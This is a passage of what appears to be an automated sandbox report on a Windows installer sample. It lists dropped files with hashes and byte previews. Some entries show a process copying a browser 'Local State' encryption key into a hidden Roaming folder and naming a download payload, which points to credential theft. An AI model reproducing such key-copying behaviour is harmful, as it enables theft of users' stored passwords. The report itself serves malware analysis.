                                                                                                                                                                                                                                                SHA-512:16D45A81F7F4606EDA9D12A8B1DA06E3C866B11BDC0C92A4022BFB8D02B885D8F028457CF23E3F7589DFD191ED7F7FBC68C81B6E1411834EDFCBC9CC85E0DC4D
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:..........\.h.....i.....j.....k.....l.....n.....o.....p.....r.....s.-...t.6...v.K...w.X...y.^...z.m...|.s...}..................................................................................... .....8.....N.....Z.....m...........................................................!.....*.....6.....S.....`.....l.....~.......................................................................#.....)...../.....5.....M.....\.....k.....}.............................................................................'.....T.....`.....l.....................................................,...../.....;.....M....._.....s.............................................................................I.....v.....|...............................................!.....'.....-.....?.....i.....................................................$.....8.....A... .M..."._...%.z...(.....*.....+.....,.........../.....0.....1.@...3.Q...4.i...5.....6.....7.....8.....9.....;.....<.....=.-...>.F...?.P...@.e...A.....C.....D...

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\resources.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):5245458
                                                                                                                                                                                                                                                Entropy (8bit):7.995476669559971
                                                                                                                                                                                                                                                Encrypted:true
                                                                                                                                                                                                                                                SSDEEP:98304:HLYxfQVcnNWz49PDq2AwpmqdhBh1Dd42cjrwrbHw4o0DPelwG3RC:H0pQGcMButuBhpd4jkrU4oeelrRC
                                                                                                                                                                                                                                                MD5:7D5065ECBA284ED704040FCA1C821922
                                                                                                                                                                                                                                                SHA1:095FCC890154A52AD1998B4B1E318F99B3E5D6B8
                                                                                                                                                                                                                                                SHA-256:A10C3D236246E001CB9D434A65FC3E8AA7ACDDDDD9608008DB5C5C73DEE0BA1F
                                                                                                                                                                                                                                                SHA-512:521B2266E3257ADAA775014F77B0D512FF91B087C2572359D68FFE633B57A423227E3D5AF8EE4494538F1D09AA45FFA1FE8E979814178512C37F7088DDD7995D
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:............f.......P'....$*.....-...43@...4.H...4XK...4i]...4.f...4.m...4?p...4.v...4.x...4.z...4.~...4....4.....4?....4.....4....4.....4=....4z....4a....4....4....4.....4.....4.....43....4.....4.....4J....4J....4.....4.....4#....4j....4J....5.....5....v5.:..w5.;..x5.<..y5.>..z5a?...5.?...5.D...5.E...5dJ...5.O...5.V...5.f...5.w...5.x...5.|..n<&...x<....y<....z<....{<....|<....<+....<r....<8....</....<....V@....W@....X@x...Y@d...Z@....[@2...\@O...]@....^@...._@hh..`@....<A....=A.....P.~...Pe....PX....P.....P.....Pt....P.....P3....Q.....QF....Q.....Q.....Q.....Q[....QA....Q.....Q.....QW....Q.....Qv....Q9!...Q.'...QF....Q.1..,Q.F..-QsL...QLN../Q.P..0Q.U..1Q.i..2Q.j..3Q.k..4QEm..5Q.o..6Q.r..7Q~t..8QEw..9Q!x..:Q.z..;Ql...<Q)...=Q....>Q ...?Q"....R....Ry....}.....}. ...}._...}%a...}[h...}.h...}[j...}Lo...}....}.&...}.....}.6...}4;...}.=...}&B...}mG...~.O...~.d...~.q...~.t...~.|...~.}..!~...."~....#~...$~|...&~....'~A...(~....)~....*~t$..+~.4..,~.6..-~V8...~.;../~i<..0~|=..1~iA..2~.H

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\resources\app.asar

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):8690219
                                                                                                                                                                                                                                                Entropy (8bit):5.558293028833167
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:49152:Bn9CyBK3UK9tUv3UuAdFUnBUecSHNXC4215nL2S26L82ELcAJvsvRRvy4vS716D/:ByUkTv
                                                                                                                                                                                                                                                MD5:DEA6501BADC74E68ED1098F79630577C
                                                                                                                                                                                                                                                SHA1:CB4222599C1F20DA30004C7F837CD275DBAE98F7
                                                                                                                                                                                                                                                SHA-256:D9D92BF7F3D0174BA85B7E0D78814E581849EE05E01FE057E06F91C2A6A48B21
                                                                                                                                                                                                                                                SHA-512:D1669C9AE94EBA15F1BFC7C4ED0609C9EC0876E3015A67B568CC80061EA6B7332D2DECEDE3D6BFA3826552B765799EF3958D98E3B7111D143A0CDFD19247A320
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:....L+..H+..C+..{"files":{"node_modules":{"files":{"@isaacs":{"files":{"cliui":{"files":{"LICENSE.txt":{"size":731,"integrity":{"algorithm":"SHA256","hash":"2dc0465729366c3a7890dfa9e972a1ba7048a26c02116fb8b419a6a1ac110149","blockSize":4194304,"blocks":["2dc0465729366c3a7890dfa9e972a1ba7048a26c02116fb8b419a6a1ac110149"]},"offset":"0"},"build":{"files":{"index.cjs":{"size":10398,"integrity":{"algorithm":"SHA256","hash":"820aa357a7f6a022bfc3ac6ac19d1681921d0421cae898d5096423c0fb3b8607","blockSize":4194304,"blocks":["820aa357a7f6a022bfc3ac6ac19d1681921d0421cae898d5096423c0fb3b8607"]},"offset":"731"},"index.d.cts":{"size":1050,"integrity":{"algorithm":"SHA256","hash":"385fceba2f49ee3f91cd436d3f84b389375e1e8f86906b23f47df2e1b9c2b17b","blockSize":4194304,"blocks":["385fceba2f49ee3f91cd436d3f84b389375e1e8f86906b23f47df2e1b9c2b17b"]},"offset":"11129"},"lib":{"files":{"index.js":{"size":10100,"integrity":{"algorithm":"SHA256","hash":"e67b3446f47d4a672339c99bea9e987979da9fc70f421701814cb9d52ba176

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\resources\elevate.exe

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:PE32 executable (console) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):107520
                                                                                                                                                                                                                                                Entropy (8bit):6.442687067441468
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3072:1bLnrwQoRDtdMMgSXiFJWcIgUVCfRjV/GrWl:1PrwRhte1XsE1l
                                                                                                                                                                                                                                                MD5:792B92C8AD13C46F27C7CED0810694DF
                                                                                                                                                                                                                                                SHA1:D8D449B92DE20A57DF722DF46435BA4553ECC802
                                                                                                                                                                                                                                                SHA-256:9B1FBF0C11C520AE714AF8AA9AF12CFD48503EEDECD7398D8992EE94D1B4DC37
                                                                                                                                                                                                                                                SHA-512:6C247254DC18ED81213A978CCE2E321D6692848C64307097D2C43432A42F4F4F6D3CF22FB92610DFA8B7B16A5F1D94E9017CF64F88F2D08E79C0FE71A9121E40
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B..O..............h.......j.q.....k.....e......e......e.......zR........._...h......h.f.............h......Rich....................PE..L......W............................l........0....@.......................................@....................................P.......x.......................T.......p...............................@............0..$............................text............................... ..`.rdata...k...0...l..................@..@.data...............................@....gfids..............................@..@.rsrc...x...........................@..@.reloc..T...........................@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\snapshot_blob.bin

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):273328
                                                                                                                                                                                                                                                Entropy (8bit):3.2521181832662194
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:1536:MpeVehd7eASb6iAGm4hmWRSJTnBSki+TfUNp2Zg+TEJ0xEI2tWaw8MCZ72T04GO9:YdyNm4mWRSJTBSXsU1vJzbYB
                                                                                                                                                                                                                                                MD5:8915DD2A6D6B4EBF9A16C77FE063D8DE
                                                                                                                                                                                                                                                SHA1:A03132ADCB99A82BA269D56AB6577CCFD1BB08E5
                                                                                                                                                                                                                                                SHA-256:C1802B29B13663A8890031411270866834246931F71F41397682DD88FA16D485
                                                                                                                                                                                                                                                SHA-512:ABD93CDD634AD4D38B7E3714B183335CDDB9E3AD14660247CC7285066C95342AC8595D68CD0868B8512E73BB656AB54386045533F998576B2CD6501BF456CD2C
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:............11.2.214.9-electron.0............................................;...b...........:..a........a........a........ar.......a........a..............Y.D............`$.........D............`$.......D............`$.......m.D............`$.........D............`D.........D............`$.......1.D............`$.......D............`$.......D............`$.........D............`$.......D............`$......ID............`$.......D............`$.......D............`$....(Jb....I.....@..F^......`.....(Jb....M.....@..F^..`.....H...IDa........D`....D`....D`.......D`.....D]D....D`......WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa............L.............................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\v8_context_snapshot.bin

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):588152
                                                                                                                                                                                                                                                Entropy (8bit):4.83735352889622
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:6144:bFzofuYUahtcOm3A0Tg8zY8y4XrxXSIIBYgHi:JMfu/fTY8zrM9C7
                                                                                                                                                                                                                                                MD5:4CD37EA771EA4FE2F3AD46217CC02206
                                                                                                                                                                                                                                                SHA1:31680E26869B007E62550E96DBF846B3980D5B2B
                                                                                                                                                                                                                                                SHA-256:95F7B8664306DA8D0073A795E86590ED6FDAEDE5F489132E56C8779F53CF1ED5
                                                                                                                                                                                                                                                SHA-512:E1369734CBE17AAF6DD3CEEFB57F056C5A9346D2887A7D3EE7ED177386D7F5E624407869D53902B56AB350E4DED5612C3B0F52C2DD3EFA307E9947701068A2A0
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:.........c~.11.2.214.9-electron.0...........................................H...P<..........X...........a........a........aT.......ar.......a........a..............Y.D............`$.........D............`$.......D............`$.......m.D............`$.........D............`D.........D............`$.......1.D............`$.......D............`$.......D............`$.........D............`$.......D............`$......ID............`$.......D............`$.......D............`$....(Jb....I.....@..F^......`.....(Jb....M.....@..F^..`.....H...IDa........D`....D`....D`.......D`.....D]D....D`......WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa............L.....................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\vk_swiftshader.dll

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):5334528
                                                                                                                                                                                                                                                Entropy (8bit):6.335261874351837
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:98304:RKJSTu+985EkjstvgsnpkkHF3y/AFIB7:RQq85EkjstvgsnpkkJETB
                                                                                                                                                                                                                                                MD5:524B0D85D992F86A7F26C162F3DBB91C
                                                                                                                                                                                                                                                SHA1:BC9C862FD01F6134A0514DCB63F9FAB7A61CE269
                                                                                                                                                                                                                                                SHA-256:5B2FFB78FA963F2DEA5A7FCF7676FC3ABA243C4372D7528C8F1FC8F726D0A3FA
                                                                                                                                                                                                                                                SHA-512:422A18AF294D7551224E05F5F4F5DCFA51B3455C2E61FC285FD2B95B50274EB77FF317647E17B0E7D47459B4FED19C7C88C90E0878F2269A78D598B1196401D8
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...)<#d.........." ......A..........;.......................................R...........`A..........................................L.~...&.L.P....`R.......P.<_...........pR.X}...L.......................L.(...@.A.@.............L.P............................text.....A.......A................. ..`.rdata...(....A..*....A.............@..@.data...p.....M.......M.............@....pdata..<_....P..`...LO.............@..@.00cfg..8.....Q.......P.............@..@.gxfg....,....R.......P.............@..@.retplne.....0R.......P..................tls....Q....@R.......P.............@..._RDATA..\....PR.......P.............@..@.rsrc........`R.......P.............@..@.reloc..X}...pR..~....P.............@..B................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\vk_swiftshader_icd.json

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:JSON data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):106
                                                                                                                                                                                                                                                Entropy (8bit):4.724752649036734
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:YD96WyV18tzsmyXLVi1rTVWSCwW2TJHzeZ18rY:Y8WyV18tAZLVmCwXFiZ18rY
                                                                                                                                                                                                                                                MD5:8642DD3A87E2DE6E991FAE08458E302B
                                                                                                                                                                                                                                                SHA1:9C06735C31CEC00600FD763A92F8112D085BD12A
                                                                                                                                                                                                                                                SHA-256:32D83FF113FEF532A9F97E0D2831F8656628AB1C99E9060F0332B1532839AFD9
                                                                                                                                                                                                                                                SHA-512:F5D37D1B45B006161E4CEFEEBBA1E33AF879A3A51D16EE3FF8C3968C0C36BBAFAE379BF9124C13310B77774C9CBB4FA53114E83F5B48B5314132736E5BB4496F
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:{"file_format_version": "1.0.0", "ICD": {"library_path": ".\\vk_swiftshader.dll", "api_version": "1.0.5"}}

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\7z-out\vulkan-1.dll

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):928256
                                                                                                                                                                                                                                                Entropy (8bit):6.558092096809165
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:24576:IEW7F7IyaHx/fempu2e6Z5WODYsHh6g3P0zAk7o:e7IyaBfempa6Z5WODYsHh6g3P0zAk7
                                                                                                                                                                                                                                                MD5:6D4ADF9A48DBCE2E480EF10B1338CA3C
                                                                                                                                                                                                                                                SHA1:CEB77D5768C6EDA84EC8E0B43821B8027764DE81
                                                                                                                                                                                                                                                SHA-256:4CCA7E6C05B2D988926E4B4D0C8FF91D6356F18DE8BF40B440251180E5CAD6A7
                                                                                                                                                                                                                                                SHA-512:106DB7309B40AFABB1CCA911B204C83129683DC116AEC198568C4228C581BF0DE5963BFFC0B50DF8F43EC355264F271FC383F4155BE45350C0D7DD429C7F7F09
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...)<#d.........." ......................................................................`A........................................H...<!......P...............<o..............T...t.......................X...(...@...@............................................text............................... ..`.rdata..............................@..@.data....L...p... ...V..............@....pdata..<o.......p...v..............@..@.00cfg..8....0......................@..@.gxfg...P(...@...*..................@..@.retplne.....p...........................tls................................@..._RDATA..\...........................@..@.rsrc...............................@..@.reloc..T...........................@..B................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\System.dll

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):12288
                                                                                                                                                                                                                                                Entropy (8bit):5.719859767584478
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:192:1enY0LWelt70elWjvfstJcVtwtYbjnIOg5AaDnbC7ypXhtIj:18PJlt70esj0Mt9vn6ay6
                                                                                                                                                                                                                                                MD5:0D7AD4F45DC6F5AA87F606D0331C6901
                                                                                                                                                                                                                                                SHA1:48DF0911F0484CBE2A8CDD5362140B63C41EE457
                                                                                                                                                                                                                                                SHA-256:3EB38AE99653A7DBC724132EE240F6E5C4AF4BFE7C01D31D23FAF373F9F2EACA
                                                                                                                                                                                                                                                SHA-512:C07DE7308CB54205E8BD703001A7FE4FD7796C9AC1B4BB330C77C872BF712B093645F40B80CE7127531FE6746A5B66E18EA073AB6A644934ABED9BB64126FEA9
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr*.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.D.Rich5.D.........PE..L....~.\...........!....."...........).......@...............................p............@..........................B.......@..P............................`.......................................................@..X............................text.... .......".................. ..`.rdata..c....@.......&..............@..@.data...x....P.......*..............@....reloc.......`.......,..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\app-64.7z

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:7-zip archive data, version 0.4
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):64353012
                                                                                                                                                                                                                                                Entropy (8bit):7.999994378615283
                                                                                                                                                                                                                                                Encrypted:true
                                                                                                                                                                                                                                                SSDEEP:1572864:ljddfd6gQ96LJbdykzhlYOAtx1LXBCa+g1r3p1:dl6gQ96ZdykzjYOAtxOPar3H
                                                                                                                                                                                                                                                MD5:4C96A195D453173C95DC1225F6997AC8
                                                                                                                                                                                                                                                SHA1:4968547C64F41F5770921134712DCFFF73C3568E
                                                                                                                                                                                                                                                SHA-256:3A5861ED101CB9C4F98BEEBFC3DDBE408C165BE1664F671A21467027197A5A05
                                                                                                                                                                                                                                                SHA-512:29D968330D07BC3E7B59B434F901294BC3A8FC1A9F69DFFFCD830D0527304201D120887383B242819EF4315D8D7E746C47A501C2E42A0125E7FE00B5256BC964
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:7z..'.....F.........%.......Y.D...R..]...6...#k.![y.`.Gr#.f..F......./.t..C..8.^..k .....@..........ih..w*.`.c...I...;.R.A`../_.Q:..yn........6...a {.f_.....>..`..Nu.....q/..H...hsIhA.5..... .9.[...L./.(.^.+Vz@.Dt7OZI.z.N...~;].rW..k......s...^<i ...w.`3.}............T.Z.v.m..W8..m...........k..8..w+.8..9N.C......._; ..u.J........i43.d.......`....r."O.E...'.{h....'....$.M.$..Y....&.+.r|T....aF.T.9...&..sh....I..;.qP.Y..........V..^..P.:...D.."..@Cw...%8.h.5....6V/0..]....%7.Z.P..w..J..].....M..^......+..BMZ..&..}.6l..hT..t).?2....1...F..H..+...0.s.}.S.-x;...f.b}....8.R.@.....r.....Ib......$(/^XdI..46G..Q....`......h..H.U......p..[.Sa-Q@G.......h!....Z....2$.^.IqZ...~~CUB..#.nAp5.k..K....O".G.(......N...>`.k.....;.~A.X.e.mzUq.L...o..PH..WxfRH..z..dT!."d.W.4...Tx... ..Y<..1.P.#.W..Z7.f.z.R...u6.......C.+?.....p.d........".<.../h.Y..`u<m.y.u.Lh.Fz...#...F).,..G.~..'..Mx.s:3..V..m..[%.B.V[...V.Id_.~i6..$...H.ywyg.D.lA.`.H..+..X..@H....

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsy695B.tmp\nsis7z.dll

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):434176
                                                                                                                                                                                                                                                Entropy (8bit):6.584811966667578
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:6144:aUWQQ5O3fz0NG3ucDaEUTWfk+ZA0NrCL/k+uyoyBOX1okfW7w+Pfzqibckl:an5QEG39fPAkrE4yrBOXDfaNbck
                                                                                                                                                                                                                                                MD5:80E44CE4895304C6A3A831310FBF8CD0
                                                                                                                                                                                                                                                SHA1:36BD49AE21C460BE5753A904B4501F1ABCA53508
                                                                                                                                                                                                                                                SHA-256:B393F05E8FF919EF071181050E1873C9A776E1A0AE8329AEFFF7007D0CADF592
                                                                                                                                                                                                                                                SHA-512:C8BA7B1F9113EAD23E993E74A48C4427AE3562C1F6D9910B2BBE6806C9107CF7D94BC7D204613E4743D0CD869E00DAFD4FB54AAD1E8ADB69C553F3B9E5BC64DF
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......L.6a..X2..X2..X2m.[3..X2m.]3..X2Z.]3+.X2Z.\3..X2Z.[3..X2m.\3..X2m.Y3..X2..Y2..X2..\3#.X2..]3..X2..X3..X2...2..X2...2..X2..Z3..X2Rich..X2........PE..L.....\...........!......................... ...............................@............@..........................6.......7..d................................E.....................................@............ ...............................text............................... ..`.rdata..8"... ...$..................@..@.data........P... ...6..............@....rsrc................V..............@..@.reloc...E.......F...Z..............@..B........................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\y0zoGtu4DzqpR6nMAU.exe

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):72
                                                                                                                                                                                                                                                Entropy (8bit):4.197616760983366
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:AtPkSx6DyTzg446DyTzFEGHP0Lcn:AhpLRGMLcn
                                                                                                                                                                                                                                                MD5:1AC2CCC4E10D3860582E2D94149839CE
                                                                                                                                                                                                                                                SHA1:E7C9EAB95A966AA0D2C1DE827A5CC37E6562F91E
                                                                                                                                                                                                                                                SHA-256:54056241E201E57EA64F984957801353EF031F9ABB65EDFF56F243BFCD79E7C1
                                                                                                                                                                                                                                                SHA-512:BB7D63657007B18ED5DA5BE988503A6D7B4ABB51713E0F5743394D73EEA29FA38D6BE70B539E5498C5172BEC58D6E3D7837A4CF777EF117123ADDD0C4DA73E92
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:uploads/native1_download_payload_native1_download_payload_CrackMeOne.zip

                                                                                                                                                                                                                                                C:\Users\user\AppData\Roaming\rklxrvvcdpfnpeoc\Local State (copy)

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exe
                                                                                                                                                                                                                                                File Type:JSON data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):389
                                                                                                                                                                                                                                                Entropy (8bit):5.654294674194365
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:12:YKWSg99rrt+OMnakAF2Gghk0gZREZFdXdJVz1E:YKWfrrtca1F2GLetc
                                                                                                                                                                                                                                                MD5:8A39FD771C0BC473385234B521ECE323
                                                                                                                                                                                                                                                SHA1:E2760E93995E0A135C71050A6A7D09B36CECB2C6
                                                                                                                                                                                                                                                SHA-256:203D4F2D87B0859AA75B2DA79D617025A8A0AD629E0F74349401D151C0562E8E
                                                                                                                                                                                                                                                SHA-512:5831EFA85F84BA5110BE1E6F9FE129B443275FCAAE0E5326D30D645EE8A1DAC163E01A302370D8C3BAA0D5D8771A48FA301E0B1D38F15D67B370CB56096E8336
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:{"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABXe6n4izUtSqlC71gLTttIAAAAAAIAAAAAABBmAAAAAQAAIAAAAD2G3qtvZ4E4iXXr3Wkfo1fvTclEcVbTFpBq1AhakXOOAAAAAA6AAAAAAgAAIAAAADssRJ9PD/LRWn9HnVVGKdy1XpFMzP9hd1ukYy/+QrNPMAAAAP/t3fI+drTsUsZMgvliMh7iW8fcLXg/UL6tt0Bc0Zs0TJYIoXGYGqzF55n4whggr0AAAAA1Saz0DhRHcW9zZVEHmHNmKbnsnu+SwPfQNG/uqG7/y1VWgXj003SLcbqGN2o8hDMKQRKkOd2HCIMjCTDZMcvc"}}

                                                                                                                                                                                                                                                C:\Users\user\AppData\Roaming\rklxrvvcdpfnpeoc\c3e6b527-b0df-4bb7-aaf7-427a7a8800fb.tmp

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exe
                                                                                                                                                                                                                                                File Type:JSON data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):389
                                                                                                                                                                                                                                                Entropy (8bit):5.654294674194365
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:12:YKWSg99rrt+OMnakAF2Gghk0gZREZFdXdJVz1E:YKWfrrtca1F2GLetc
                                                                                                                                                                                                                                                MD5:8A39FD771C0BC473385234B521ECE323
                                                                                                                                                                                                                                                SHA1:E2760E93995E0A135C71050A6A7D09B36CECB2C6
                                                                                                                                                                                                                                                SHA-256:203D4F2D87B0859AA75B2DA79D617025A8A0AD629E0F74349401D151C0562E8E
                                                                                                                                                                                                                                                SHA-512:5831EFA85F84BA5110BE1E6F9FE129B443275FCAAE0E5326D30D645EE8A1DAC163E01A302370D8C3BAA0D5D8771A48FA301E0B1D38F15D67B370CB56096E8336
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:{"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABXe6n4izUtSqlC71gLTttIAAAAAAIAAAAAABBmAAAAAQAAIAAAAD2G3qtvZ4E4iXXr3Wkfo1fvTclEcVbTFpBq1AhakXOOAAAAAA6AAAAAAgAAIAAAADssRJ9PD/LRWn9HnVVGKdy1XpFMzP9hd1ukYy/+QrNPMAAAAP/t3fI+drTsUsZMgvliMh7iW8fcLXg/UL6tt0Bc0Zs0TJYIoXGYGqzF55n4whggr0AAAAA1Saz0DhRHcW9zZVEHmHNmKbnsnu+SwPfQNG/uqG7/y1VWgXj003SLcbqGN2o8hDMKQRKkOd2HCIMjCTDZMcvc"}}

                                                                                                                                                                                                                                                C:\Windows\appcompat\Programs\Amcache.hve

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                File Type:MS Windows registry file, NT/2000 or above
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):1835008
                                                                                                                                                                                                                                                Entropy (8bit):4.39112930043351
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:6144:ol4fiJoH0ncNXiUjt10q0G/gaocYGBoaUMMhA2NX4WABlBuN1xOBSqa:g4vF0MYQUMM6VFYLxU
                                                                                                                                                                                                                                                MD5:52563E41B6980C6F4A80AFADC63B5553
                                                                                                                                                                                                                                                SHA1:497BDFA672E286B8DDA62621A2BB9158420340DD
                                                                                                                                                                                                                                                SHA-256:37C169E0F897F0E264DB70CBEAE23E40AF6A01A5D22D5FFE589B3FBF48CA3A6B
